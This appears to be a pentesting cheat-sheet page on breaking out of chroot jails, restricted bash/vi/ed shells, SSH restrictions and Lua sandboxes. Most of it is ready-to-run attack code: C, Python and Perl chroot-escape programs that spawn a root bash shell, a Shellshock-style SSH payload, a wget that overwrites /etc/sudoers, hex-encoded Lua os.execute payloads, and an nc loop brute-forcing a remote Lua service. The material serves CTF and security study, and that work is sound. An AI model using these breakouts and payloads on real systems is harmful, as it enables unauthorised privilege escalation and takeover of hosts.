Escaping from Jails
From wikipedia: The chroot mechanism is not intended to defend against intentional tampering by privileged (root) users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.
Therefore, if you are root inside a chroot you can escape creating another chroot. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it:
break_chroot.c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}
Using python:
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Using perl:
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");
Get info about the jail:
echo $SHELL
echo $PATH
env
export
pwd
Check if you can modify the PATH env variable
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
:set shell=/bin/sh
:shell
Check if you can create an executable file with /bin/bash as content
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
If you are accessing via ssh you can use this trick to execute a bash shell:
ssh -t [email protected]<IP> bash # Get directly an interactive shell
ssh [email protected]<IP> -t "bash --noprofile -i"
ssh [email protected]<IP> -t "() { :; }; sh -i "
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
You can overwrite for example sudoers file
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
Tricks about escaping from python jails in the following page:
In this page you can find the global functions you have access to inside lua: https://www.gammon.com.au/scripts/doc.php?general=lua_base
Eval with command execution**:**
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
Some tricks to call functions of a library without using dots:
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
Enumerate functions of a library:
for k,v in pairs(string) do print(k,v) end
Note that every time you execute the previous one liner in a different lua environment the order of the functions change. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Get interactive lua shell: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling:
debug.debug()
Last modified 1mo ago